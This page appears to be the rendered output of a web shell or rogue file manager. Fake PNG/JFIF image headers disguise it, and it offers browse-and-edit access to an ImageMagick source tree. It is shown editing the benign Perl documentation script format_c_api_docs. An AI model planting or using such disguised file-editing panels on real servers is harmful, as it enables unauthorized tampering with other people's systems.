�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2F'>ImageMagick-7.1.2-30</a>/<a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2Fscripts%2F'>scripts</a>/</p><hr><h3>✏️ Editing: format_c_api_docs</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/usr/bin/perl -w
#
# Format ImageMagick comments into POD-format or HTML format
# documentation
# Produces *.pod or *.html files corresponding to *.c files
#
# Written by Bob Friesenhahn, April 1997
#

$opt_format=&#039;html&#039;;
$opt_srcdir=&#039;&#039;;
$opt_outdir=&#039;&#039;;

use Getopt::Long;
if ( ! GetOptions(
                  &#039;format=s&#039;	=&gt; \$opt_format,
                  &#039;srcdir=s&#039;	=&gt; \$opt_srcdir,
                  &#039;outdir=s&#039;	=&gt; \$opt_outdir,
                 )
   ) {
  print(&quot;Usage: fmtdocs [-srcdir srcdir] [-outdir outdir] [-format format] \n&quot;);
  exit(1);
}

#
# Source files to use
#
@srcs = (&#039;animate.c&#039;,
	 &#039;annotate.c&#039;,
	 &#039;attribute.c&#039;,
	 &#039;blob.c&#039;,
	 &#039;cache.c&#039;,
	 &#039;cache-view.c&#039;,
	 &#039;color.c&#039;,
	 &#039;colorspace.c&#039;,
	 &#039;compare.c&#039;,
	 &#039;composite.c&#039;,
	 &#039;constitute.c&#039;,
	 &#039;decorate.c&#039;,
   &#039;deprecate.c&#039;,
	 &#039;draw.c&#039;,
	 &#039;drawing-wand.c&#039;,
	 &#039;display.c&#039;,
	 &#039;effect.c&#039;,
	 &#039;enhance.c&#039;,
	 &#039;exception.c&#039;,
	 &#039;fx.c&#039;,
	 &#039;image.c&#039;,
	 &#039;list.c&#039;,
	 &#039;magick.c&#039;,
	 &#039;magick-wand.c&#039;,
	 &#039;memory.c&#039;,
	 &#039;monitor.c&#039;,
	 &#039;montage.c&#039;,
   &#039;paint.c&#039;,
	 &#039;pixel-iterator.c&#039;,
	 &#039;pixel-wand.c&#039;,
	 &#039;profile.c&#039;,
	 &#039;quantize.c&#039;,
	 &#039;registry.c&#039;,
   &#039;resource.c&#039;,
	 &#039;segment.c&#039;,
	 &#039;shear.c&#039;,
	 &#039;signature.c&#039;,
	 &#039;stream.c&#039;,
	 &#039;transform.c&#039;,
	 &#039;resize.c&#039;,
   &#039;version.c&#039;);

$tmpname_pre_format = &quot;/tmp/fmtdocs_pre.$$&quot;;
$tmpname_pod = &quot;/tmp/fmtdocs_pod.$$&quot;;
$tmpname_html = &quot;/tmp/fmtdocs_html.$$&quot;;

#@srcs = (&#039;draw.c&#039;);

#
# What is for source files
#
%whatis =
(
 &#039;animate&#039;,	&#039;Interactively Animate an Image Sequence&#039;,
 &#039;annotate&#039;,	&#039;Annotate an Image&#039;,
 &#039;attribute&#039;,	&#039;Set Text Attributes&#039;,
 &#039;blob&#039;,	&#039;Read or Write Binary Large OBjects&#039;,
 &#039;color&#039;,	&#039;Count the Colors in an Image&#039;,
 &#039;colorspace&#039;,	&#039;Dealing with Image Colorspaces&#039;,
 &#039;compare&#039;,	&#039;Compare an Image to a Reconstructed Image&#039;,
 &#039;constitute&#039;,	&#039;Constitute an Image&#039;,
 &#039;composite&#039;,	&#039;Composite an Image&#039;,
 &#039;decorate&#039;,	&#039;Decorate an Image&#039;,
 &#039;deprecate&#039;,	&#039;Deprecated Methods&#039;,
 &#039;display&#039;,	&#039;Interactively Display and Edit an Image&#039;,
 &#039;draw&#039;,	&#039;Draw on an Image&#039;,
 &#039;drawing_wand&#039;,	&#039;Image Vector Drawing&#039;,
 &#039;effect&#039;,	&#039;Add an Effect&#039;,
 &#039;fx&#039;,		&#039;Add a Special Effect&#039;,
 &#039;enhance&#039;,	&#039;Enhance an Image&#039;,
 &#039;exception&#039;,	&#039;Dealing with Exceptions&#039;,
 &#039;image&#039;,	&#039;Image Methods&#039;,
 &#039;list&#039;,	&#039;Working with Image Lists&#039;,
 &#039;cache&#039;,	&#039;Get or Set Image Pixels&#039;,
 &#039;cache_view&#039;,	&#039;Working with Cache Views&#039;,
 &#039;magick&#039;,	&#039;Read or List Image formats&#039;,
 &#039;magick_wand&#039;,	&#039;Magick Wand&#039;,
 &#039;memory&#039;,	&#039;Memory Allocation&#039;,
 &#039;monitor&#039;,	&#039;Monitor the Progress of an Image Operation&#039;,
 &#039;montage&#039;,	&#039;Create an Image Thumbnail&#039;,
 &#039;paint&#039;,	&#039;Paint on an Image&#039;,
 &#039;pixel_iterator&#039;,	&#039;Pixel Iterator&#039;,
 &#039;pixel_wand&#039;,	&#039;Pixel Wand&#039;,
 &#039;profile&#039;,	&#039;Dealing with Image Profiles&#039;,
 &#039;quantize&#039;,	&#039;Reduce the Number of Unique Colors in an Image&#039;,
 &#039;registry&#039;,	&#039;The Registry&#039;,
 &#039;resource&#039;,	&#039;Monitor or Limit Resource Consumption&#039;,
 &#039;segment&#039;,	&#039;Segment an Image with Thresholding Fuzzy c-Means&#039;,
 &#039;shear&#039;,	&#039;Shear or Rotate an Image by an Arbitrary Angle&#039;,
 &#039;signature&#039;,	&#039;Compute a Digital Signature for an Image&#039;,
 &#039;stream&#039;,	&#039;The Pixel FIFO&#039;,
 &#039;transform&#039;,	&#039;Transform an Image&#039;,
 &#039;resize&#039;,	&#039;Resize an Image&#039;,
 &#039;version&#039;,	&#039;Get Version and Copyright&#039;,
);

#
# Key words to replace with HTML links
#
my %keywords =
  (
   AffineMatrix		=&gt; &#039;types.html#AffineMatrix&#039;,
   BlobInfo		=&gt; &#039;types.html#BlobInfo&#039;,
   Cache		=&gt; &#039;types.html#Cache&#039;,
   ChannelType		=&gt; &#039;types.html#ChannelType&#039;,
   ChromaticityInfo	=&gt; &#039;types.html#ChromaticityInfo&#039;,
   ClassType		=&gt; &#039;types.html#ClassType&#039;,
   ClipPathUnits	=&gt; &#039;types.html#ClipPathUnits&#039;,
   ColorPacket		=&gt; &#039;types.html#ColorPacket&#039;,
   ColorspaceType	=&gt; &#039;types.html#ColorspaceType&#039;,
   ComplianceType	=&gt; &#039;types.html#ComplianceType&#039;,
   CompositeOperator	=&gt; &#039;types.html#CompositeOperator&#039;,
   CompressionType	=&gt; &#039;types.html#CompressionType&#039;,
   DecorationType	=&gt; &#039;types.html#DecorationType&#039;,
   DrawContext		=&gt; &#039;types.html#DrawContext&#039;,
   DrawInfo		=&gt; &#039;types.html#DrawInfo&#039;,
   ErrorHandler		=&gt; &#039;types.html#ErrorHandler&#039;,
   ExceptionInfo	=&gt; &#039;types.html#ExceptionInfo&#039;,
   ExceptionType	=&gt; &#039;types.html#ExceptionType&#039;,
   FillRule		=&gt; &#039;types.html#FillRule&#039;,
   FilterTypes		=&gt; &#039;types.html#FilterTypes&#039;,
   FrameInfo		=&gt; &#039;types.html#FrameInfo&#039;,
   GravityType		=&gt; &#039;types.html#GravityType&#039;,
   Image		=&gt; &#039;types.html#Image&#039;,
   ImageInfo		=&gt; &#039;types.html#ImageInfo&#039;,
   ImageType		=&gt; &#039;types.html#ImageType&#039;,
   InterlaceType	=&gt; &#039;types.html#InterlaceType&#039;,
   LayerType		=&gt; &#039;types.html#LayerType&#039;,
   MagickInfo		=&gt; &#039;types.html#MagickInfo&#039;,
   MonitorHandler	=&gt; &#039;types.html#MonitorHandler&#039;,
   MontageInfo		=&gt; &#039;types.html#MontageInfo&#039;,
   NoiseType		=&gt; &#039;types.html#NoiseType&#039;,
   PaintMethod		=&gt; &#039;types.html#PaintMethod&#039;,
   PixelPacket		=&gt; &#039;types.html#PixelPacket&#039;,
   PointInfo		=&gt; &#039;types.html#PointInfo&#039;,
   ProfileInfo		=&gt; &#039;types.html#ProfileInfo&#039;,
   QuantizeInfo		=&gt; &#039;types.html#QuantizeInfo&#039;,
   Quantum		=&gt; &#039;types.html#Quantum&#039;,
   QuantumType		=&gt; &#039;types.html#QuantumType&#039;,
   RectangleInfo	=&gt; &#039;types.html#RectangleInfo&#039;,
   RegistryType		=&gt; &#039;types.html#RegistryType&#039;,
   RenderingIntent	=&gt; &#039;types.html#RenderingIntent&#039;,
   ResolutionType	=&gt; &#039;types.html#ResolutionType&#039;,
   ResourceType		=&gt; &#039;types.html#ResourceType&#039;,
   SegmentInfo		=&gt; &#039;types.html#SegmentInfo&#039;,
   SignatureInfo	=&gt; &#039;types.html#SignatureInfo&#039;,
   StorageType		=&gt; &#039;types.html#StorageType&#039;,
   StreamHandler	=&gt; &#039;types.html#StreamHandler&#039;,
   StretchType		=&gt; &#039;types.html#StretchType&#039;,
   StyleType		=&gt; &#039;types.html#StyleType&#039;,
   TypeMetric		=&gt; &#039;types.html#TypeMetric&#039;,
   CacheView		=&gt; &#039;types.html#CacheView&#039;,
   VirtualPixelMethod	=&gt; &#039;types.html#VirtualPixelMethod&#039;,
   XResourceInfo	=&gt; &#039;types.html#XResourceInfo&#039;,
);


foreach $src (@srcs) {

  my($out,$command);

  # Compute POD name
  ($base = $src) =~ s/\.[^\.]*$//g;

  $out = &quot;${base}.${opt_format}&quot;;
  if (&quot;${opt_outdir}&quot; ne &quot;&quot;) {
    $out = &quot;${opt_outdir}/${base}.${opt_format}&quot;;
  }

  if (&quot;${opt_srcdir}&quot; ne &quot;&quot;) {
    $src = &quot;${opt_srcdir}/${src}&quot;;
  }

  $command=&#039;pod2html -netscape&#039;;
  if ( $opt_format eq &#039;html&#039; ) {
    $command=&#039;pod2html -netscape&#039;;
  } elsif ( $opt_format eq &#039;latex&#039; ) {
    $command=&#039;pod2latex&#039;;
  } elsif ( $opt_format eq &#039;man&#039; ) {
    $command=&#039;pod2man&#039;;
  } elsif ( $opt_format eq &#039;text&#039; ) {
    $command=&#039;pod2text&#039;;
  } elsif ( $opt_format eq &#039;pod&#039; ) {
    $command=&#039;cat&#039;;
  }

  print( &quot;Processing $src -&gt; $out\n&quot; );

  pre_format($src, $tmpname_pre_format);		# Make easily parsed
  format_to_pod($tmpname_pre_format, $tmpname_pod);	# Format to pod.

  if ( $opt_format eq &#039;html&#039; ) {
    system(&quot;$command $tmpname_pod &gt; \&quot;$tmpname_html\&quot;&quot;);
    reformat_html($tmpname_html,$out);
  } else {
    system(&quot;$command $tmpname_pod &gt; \&quot;$out\&quot;&quot;);
  }
  unlink($tmpname_pre_format);
  unlink($tmpname_pod);
  unlink($tmpname_html);
}

#unlink($tmpname_pre_format);
exit(0);

#
# Reformat pod2html-generated HTML into nicer form.
#
sub reformat_html {
  my($infile, $outfile) = @_;

  open( IN, &quot;&lt;$infile&quot; ) || die(&quot;Failed to open \&quot;$infile\&quot; for read\n&quot; );
  open( OUT, &quot;&gt;$outfile&quot; ) || die(&quot;Failed to open \&quot;$outfile\&quot; for write\n&quot; );

 INPUT:
  while(&lt;IN&gt;) {
    s|&lt;\!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;|&lt;\!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;
  &quot;http://www.w3.org/TR/html4/loose.dtd&quot;&gt;|;
    s|&lt;HEAD&gt;|&lt;HEAD&gt;
&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=utf-8&quot;&gt;
&lt;STYLE&gt;
&lt;!--
\@page { size: 8.5in 11in }
TD P { color: #000000; font-family: &quot;Verdana&quot;, &quot;Arial&quot;, &quot;Helvetica&quot;, sans-serif; font-size: 12pt }
P { color: #000000; font-family: &quot;Verdana&quot;, &quot;Arial&quot;, &quot;Helvetica&quot;, sans-serif; font-size: 12pt }
H2 { color: #000000 }
A:link { color: #0085c0 }
A:visited { color: #800080 }
--&gt;
&lt;/STYLE&gt;
|;
    s|&lt;link rev=&quot;made&quot; href=&quot;mailto:root\@localhost&quot; /&gt;|&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;../magick.css&quot;&gt;|;
    s|&lt;body style=&quot;background-color: white&quot;&gt;|&lt;body marginheight=&quot;1&quot; marginwidth=&quot;1&quot; topmargin=&quot;1&quot; leftmargin=&quot;1&quot;&gt;
&lt;a name=&quot;top&quot;&gt;&lt;/a&gt; 
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; summary=&quot;Masthead&quot; width=&quot;100%&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td bgcolor=&quot;#003399&quot; width=&quot;25%&quot; height=&quot;118&quot; background=&quot;../../images/background.gif&quot;&gt;&lt;a href=&quot;https://imagemagick.org/&quot;&gt;&lt;img src=&quot;../../images/script.gif&quot; width=&quot;278&quot; height=&quot;118&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td bgcolor=&quot;#003399&quot; width=&quot;60%&quot; height=&quot;118&quot; background=&quot;../../images/background.gif&quot;&gt;&lt;a href=&quot;http://www.networkeleven.com/direct.php?magick_all&quot;&gt;&lt;img src=&quot;../../images/promote.png&quot; border=&quot;0&quot; width=&quot;186&quot; height=&quot;52&quot; vspace=&quot;29&quot; alt=&quot;Powered by NetworkEleven&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;td bgcolor=&quot;#003399&quot; width=&quot;114&quot; height=&quot;118&quot; align=&quot;right&quot;&gt;&lt;img src=&quot;../../images/sprite.png&quot; width=&quot;114&quot; height=&quot;118&quot; alt=&quot;&quot; /&gt;&lt;/td&gt;
&lt;td bgcolor=&quot;#003399&quot; width=&quot;114&quot; height=&quot;118&quot; align=&quot;right&quot;&gt;&lt;a href=&quot;https://imagemagick.net&quot;&gt;&lt;img src=&quot;../../images/logo.png&quot; width=&quot;114&quot; height=&quot;118&quot; border=&quot;0&quot; alt=&quot;ImageMagick logo&quot; /&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;left&quot; border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;2&quot; summary=&quot;Navigation buttons&quot; width=&quot;20%&quot;&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;form target=&quot;_self&quot; action=&quot;../../index.html&quot;&gt;&lt;input type=&quot;submit&quot; title=&quot;ImageMagick Home&quot; value=&quot; Home&quot; style=&quot;background-color: #1947A3; background-image:url(&#039;../../../images/background.gif&#039;); color:#fbc713; font-weight:bold&quot;&gt;&lt;/form&gt;&lt;/td&gt;
&lt;td&gt;
&lt;form target=&quot;_self&quot; action=&quot;../../www/apis.html&quot;&gt;&lt;input type=&quot;submit&quot; title=&quot;ImageMagick API&quot; value=&quot; API &quot; style=&quot;background-color: #1947A3; background-image:url(&#039;../../../images/background.gif&#039;); color:#fbc713; font-weight:bold&quot;&gt;&lt;/form&gt;&lt;/td&gt;
&lt;td&gt;
&lt;form target=&quot;_self&quot; action=&quot;../../www/download.html&quot;&gt;&lt;input type=&quot;submit&quot; title=&quot;ImageMagick Download&quot; value=&quot;Download&quot; style=&quot;background-color: #1947A3; background-image:url(&#039;../../../images/background.gif&#039;); color:#fbc713; font-weight:bold&quot;&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;div align=&quot;right&quot; style=&quot;margin-top:3px; padding-right:4px&quot;&gt;
&lt;form action=&quot;http://studio.imagemagick.org/Sage/scripts/Sage.cgi&quot;&gt;&lt;input type=&quot;TEXT&quot; name=&quot;query&quot; size=&quot;32&quot; maxlength=&quot;255&quot;&gt; &lt;input type=&quot;SUBMIT&quot; name=&quot;sa&quot; value=&quot;Search&quot; style=&quot;background-color: #1947A3; background-image:url(&#039;../../../images/background.gif&#039;); bgcolor:#003399; color:#fbc713; font-weight:bold&quot;&gt;&lt;/form&gt;&lt;/div&gt;
&lt;table align=&quot;left&quot; border=&quot;0&quot; cellpadding=&quot;10&quot; cellspacing=&quot;0&quot; style=&quot;margin-top:-17px&quot; width=&quot;100%&quot;&gt;
&lt;tr&gt;
&lt;td&gt;
|;
    s|&lt;/body&gt;|
&lt;HR&gt;

&lt;a href=&quot;#top&quot;&gt;&lt;img src=&quot;../../../images/top.gif&quot; border=0 width=&quot;35&quot; height=&quot;46&quot; align=&quot;right&quot; alt=&quot;Top of page&quot;&gt;&lt;/a&gt;
&lt;form action=&quot;http://studio.imagemagick.org/magick/&quot; style=&quot;margin-top:5px&quot;&gt;
&lt;input type=&quot;submit&quot; title=&quot;Help!&quot; value=&quot;Help!&quot; style=&quot;background-image:url(&#039;../../../images/background.gif&#039;); color:#fbc713; font-weight:bold&quot;&gt;
  &lt;small&gt;&amp;quot;Image manipulation software that works like magick&amp;quot;&lt;/small&gt;
&lt;/form&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;

&lt;/body&gt;
|;
    s|&lt;FONT SIZE=-1&gt;||g;
    s|&lt;/FONT&gt;||g;

    s|&lt;H2&gt;|&lt;H3&gt;|g;
    s|&lt;/H2&gt;|&lt;/H3&gt;|g;

    s|&lt;H1&gt;|&lt;H2&gt;|g;
    s|&lt;/H1&gt;|&lt;/H2&gt;|g;

    s|&lt;DT&gt;|&lt;DD&gt;&lt;P&gt;&lt;/P&gt;&lt;DT&gt;|g;
    s|&lt;DL&gt;|&lt;DL&gt;&lt;DT&gt;&lt;DD&gt;&lt;DL&gt;|g;
    s|&lt;/DL&gt;|&lt;/DL&gt;&lt;/DL&gt;|g;
    s|&lt;dd&gt;|&lt;DD&gt;|g;
    s|&lt;p&gt;|&lt;P&gt;|g;
    s|&lt;/p&gt;|&lt;/P&gt;|g;
    s|&lt;/LI&gt;||g;
    s|&gt;o |&gt;|g;
    s|unsignedint|unsigned int|g;
    print( OUT $_ );
  }
  close( TMP );
  close( IN );
}

#
# Pre-process file into intermediate form
#
# Initializes globals:
#
#  @functions	- Function names
#  %synopsis	- Function synopsis
#
sub pre_format {
  my($infile, $tmpfile) = @_;

  my $inpara = 0;	# Set to 1 if in paragraph
  my $inlist = 0;	# Set to 1 if in list-item paragraph

  # Open C source file
  open( IN, &quot;&lt;$infile&quot; ) || die(&quot;Failed to open \&quot;$infile\&quot; for read\n&quot; );

  # Open TMP file
  open( TMP, &quot;&gt;$tmpfile&quot; ) || die(&quot;Failed to open \&quot;$tmpfile\&quot; for write\n&quot; );

  undef @functions;
  undef %synopsis;

  # Skip past first form feed
  while(&lt;IN&gt;) {
    last if m/\014/;
  }

LINE:
  while(&lt;IN&gt;) {
    if (m/^\+/) {
      while(&lt;IN&gt;) {
	last unless m/^%/;
      }
      next;
    }
    next unless m/^%/ ;
    chop;

    # Extract and save function title
    if (m/^%\s+((\w )+)\s+%/) {
      ($ftitle = $1) =~ s/ //g;
      push(@functions, $ftitle);
      print( TMP &quot;===$ftitle\n&quot; );
      next;
    }

    # Zap text we don&#039;t want
    next if ( m/^%.+%/ );	# &quot;%*%
    s/^%\s{0,2}//;

    # Extract and save synopsis info
    if (m /\(\)/ ) {
      # nothing
      ;
    }
    elsif ( m/${ftitle}\(.*\)$/ ) {
      s/,/ , /g;
      s/\(/ ( /g;
      s/\)/ ) /g;
      s/\*/ * /g;
      s/\s+/ /g;

      s/\(\s+\*/(*/g;
      s/ ,/,/g;
      s/ \(/(/g;
      s/\) /)/g;
      s/ \* / */g;

      s/^\s*//;
      $synopsis{$ftitle} = $_ . &#039;;&#039;; # Append semi-colon, prototype style
      print ( TMP &quot; &quot; . $synopsis{$ftitle} . &quot;\n&quot; );
      next LINE;
     }
     elsif ( m/${ftitle}\(.*/ ) {
      $synopsis{$ftitle} = $_;
      do {
	$_ = &lt;IN&gt;;
	chop;
	# Zap text we don&#039;t want
	next if m/^%.+%/;	# &quot;%*%
	s/^%\s{0,2}//;
	$synopsis{$ftitle} .= $_;
      } until m/^\s*$/;
      $_ = $synopsis{$ftitle};

      s/,/ , /g;
      s/\(/ ( /g;
      s/\)/ ) /g;
      s/\*/ * /g;
      s/\s+/ /g;

      s/\(\s+\*/(*/g;
      s/ ,/,/g;
      s/ \(/(/g;
      s/\) /)/g;
      s/ \* / */g;

      s/^\s*//;
      $synopsis{$ftitle} = $_ . &#039;;&#039;; # Append semi-colon, prototype style
      print ( TMP &quot; &quot; . $synopsis{$ftitle} . &quot;\n&quot; );
      next LINE;
    }

  # Keep track of paragraphing
  if( ! m/^$/ ) {
    if ( $inpara == 0 ) {
      $inpara = 1;	# Start of paragraph
      $para = &quot;$_&quot;;	# Start paragraph string
    } else {
      # Inside paragraph
      $para .= &quot; $_&quot;;	# Add line to paragraph
    }
  }
  # Keep track of list items so they can
  # be wrapped as a paragraph
  if( m/^\s+(o[^:]+:|o|[0-9]\.)\s(.*)/ ) {
    $inlist = 1;
  }

  if ( $inpara == 1 ) {
    if( $para =~ m/^\s+\S+/ &amp;&amp; ! $inlist ) {
      # Lines that start with a space shouldn&#039;t be munged
      $inpara = 0;	# End of paragraph
      $inlist = 0;
      $para .= &quot;&quot;;	# Terminate paragraph
      print( TMP &quot;$para\n&quot; );
    }
    elsif( m/^$/ ) {
      # End of paragraph
      $inpara = 0;	# End of paragraph
      $inlist = 0;
      $para .= &quot;&quot;;	# Terminate paragraph
      $para =~ s/^\s+//g;		# Eliminate any leading space
      $para =~ s/\s+/ /g;		# Canonicalize whitespace
      $para =~ s/ $//;		# Trim final space
      $para =~ s/([a-zA-Z0-9][.!?][)&#039;&quot;]*) /$1  /g; #&#039; Fix sentence ends
		  print( TMP &quot;\n$para\n\n&quot; );
		}
    }
  }

  close( TMP );
  close( IN );
}

#
# Second pass
# Process into formatted form
#
sub format_to_pod {
    my($infile, $outfile) = @_;

    my $func;

    my $inlist = 0;		# Set to one if in indented list

    # Open input file
    open( IN, &quot;&lt;$infile&quot; ) || die(&quot;Failed to open \&quot;$infile\&quot; for read\n&quot; );

    # Open output file
    open( OUT, &quot;&gt;$outfile&quot; ) || die(&quot;Failed to open \&quot;$outfile\&quot; for write\n&quot; );

    # Name field
    print( OUT head1(&quot;NAME&quot;) );
    if (!defined($whatis{$base})) {
      print(&quot;Whatis definition missing for \&quot;$base\&quot;!\n&quot;);
      print( OUT &quot;${base} - Unknown\n\n&quot; );
    } else {
      print( OUT &quot;${base} - $whatis{$base}\n\n&quot; );
    }

    # Synopsis field (function signatures)
    print( OUT head1(&quot;SYNOPSIS&quot;) );
    foreach $func (sort( @functions )) {
      if (defined $synopsis{$func} ) {
	$_ = $synopsis{$func};
	s/$func/ B&lt;$func&gt;/;
	s/^\s*//;
	my $synopsis = $_;
	print( OUT $synopsis, &quot;\n\n&quot; );
      }
    }

    # Description field
    print( OUT head1(&quot;FUNCTION DESCRIPTIONS&quot;) );

    while(&lt;IN&gt;){
	chop;
	next if m/^$/;

	# Match list element
	if( m/^(o[^:]+:|o|[0-9]\.?)\s(.*)/ ) {
	    my $bullet = $1;
	    my $bullet_text = $2;

	    print( OUT startlist() ) unless $inlist;
	    $inlist = 1;
	    print( OUT item($bullet), &quot;$bullet_text\n\n&quot; );
	    next;
	} else {
	    print( OUT endlist() ) if $inlist;
	    $inlist = 0;
	}

	# Match synopsis item
	if( defined $func &amp;&amp; m/$func\s*\(.*\)/ ) {
	  # Split all words with spaces to aid with tokenization
	  s/,/ , /g;
	  s/\(/ ( /g;
	  s/\)/ ) /g;
	  s/\*/ * /g;

	  my $html = &#039;&#039;;

	  # Replace tokens matching keywords with HTML links.
TOKEN:	  foreach $token ( split(&#039; &#039;, $_ ) ) {
	    foreach $keyword ( %keywords ) {
	      if ( $token eq $keyword ) {
		$html .= linked( $keyword, $keywords{$keyword} );
		$html .= &quot; &quot;;
		next TOKEN;
	      }
	    }
	    $html .= &quot;$token &quot;;
	  }
	  $_ = $html;
	  # Remove excess spaces
	  s/\s+/ /g;
	  s/ ,/,/g;
	  s/\* /*/g;
	  s/\)\s*\;/);/;
	  s/^\s*//;
          s/ \( *\)/\(\)/;

          # This is very poor because text is output specifically
          # for HTML so the text isn&#039;t output at all for other target
          # formats.
	  print( OUT html(&quot;&lt;blockquote&gt;$_&lt;/blockquote&gt;&quot;) );
	    next;
	}

	# Match function title
	if( m/===([a-zA-Z0-9]+)/ ) {
	    $func = $1;
	    print( OUT head2($func) );
	    next;
	}

        print( OUT &quot;\n&quot;) if /^[^ ]/;
	print( OUT &quot;$_\n&quot;) ;
        print( OUT &quot;\n&quot;) if /^[^ ]/;
    }

    close( OUT );
    close( IN );
}

#
# Return level 1 heading
# Similar to: &lt;H1&gt;heading&lt;/H1&gt;
#
sub head1 {
    my($heading) = @_;
    return( &quot;=head1 $heading\n\n&quot; );
}

#
# Return level 2 heading
# Similar to: &lt;H2&gt;heading&lt;/H2&gt;
#
sub head2 {
    my($heading) = @_;
    return( &quot;=head2 $heading\n\n&quot; );
}


#
# Return item
# Similar to: &lt;I&gt;
#
sub item {
    my($item) = @_;
    return( &quot;=item $item\n\n&quot; );
}


#
# Start list
# Similar to: &lt;UL&gt;
#
sub startlist {
    return( &quot;=over 4\n\n&quot; )
}

#
# End list
# Similar to: &lt;/UL&gt;
#
sub endlist {
    return( &quot;=back\n\n&quot; );
}

#
# Preformatted text
# Similar to &lt;PRE&gt;&lt;/PRE&gt;
#
sub formated {
    my($text) = @_;
    return( &quot; $text\n\n&quot; );
}

#
# Raw HTML paragraph
#
sub html {
  my($html) = @_;
  return return( &quot;=for html $html\n\n&quot; );
}

#
# HTML Link
# Similar to: &lt;A HREF=&quot;url&quot;&gt;description&lt;/A&gt;
#
sub linked {
  local($description, $url) = @_;
  return( &quot;&lt;A HREF=\&quot;&quot; . $url . &quot;\&quot;&gt;&quot; . $description . &quot;&lt;/A&gt;&quot; );
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2FImageMagick-7.1.2-30%2Fscripts'>🔙 Back</a></p>